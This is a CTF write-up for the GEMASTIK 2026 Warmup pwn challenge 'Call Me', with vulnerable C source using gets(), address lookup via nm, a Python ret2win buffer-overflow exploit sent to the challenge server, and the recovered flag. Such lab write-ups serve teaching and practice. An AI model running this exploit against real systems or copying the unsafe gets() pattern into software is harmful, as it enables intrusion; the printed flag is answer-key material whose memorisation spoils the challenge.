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docs: replace dummy docs with GEMASTIK 2026 Warmup writeups (ch1-14)
- Deleted all previous dummy docs (defcon-quals-2024, infra/cloudflare-525, debugging/websocket-timeout, template, docs/*, notes/*, research/*)
- Added 14 Gemastik warmup writeups covering encoding, stego, web, pwn, crypto
- ch13: RSA small factors; ch14: RSA special integers via paper-search (GCD with paper appendix primes)
- All flags recovered and documented with solution methods
2026-08-21 13:51:31 +07:00

1.2 KiB

title, event, challenge, category, points, difficulty, flag
title event challenge category points difficulty flag
Call Me — ret2win GEMASTIK 2026 Warmup Call Me pwn 500 easy GEMASTIK19{r3t2w1n_l0mpat_k3_win}

Call Me (500 pts) — Pwn / ret2win

Server: nc 15.232.89.109 9002

Source (chall.c):

void win() { system("/bin/sh"); }  // flag printed inside

char buf[32];
gets(buf);                          // <-- overflow

Eksploitasi

  1. Compile lokal untuk dapatkan alamat win():
gcc -fno-stack-protector -no-pie -o ch10 chall.c
nm ch10 | grep win
# 00000000004011f6 T win
  1. Overflow buf[32] lalu timpa return address dengan alamat win() (0x4011f6). Sisipkan satu ret gadget (0x401016) untuk realign RSP agar movaps di win/printf tidak segfault:
import socket, time, struct

s = socket.socket()
s.connect(("15.232.89.109", 9002))
time.sleep(0.5)

RET_GADGET = 0x401016   # alignment
WIN_ADDR = 0x4011f6

payload = b"A" * 32 + b"B" * 8 + struct.pack("<Q", RET_GADGET) + struct.pack("<Q", WIN_ADDR)
s.sendall(payload + b"\n")
time.sleep(1.5)
print(s.recv(4096).decode())
# -> GEMASTIK19{r3t2w1n_l0mpat_k3_win}

Flag

GEMASTIK19{r3t2w1n_l0mpat_k3_win}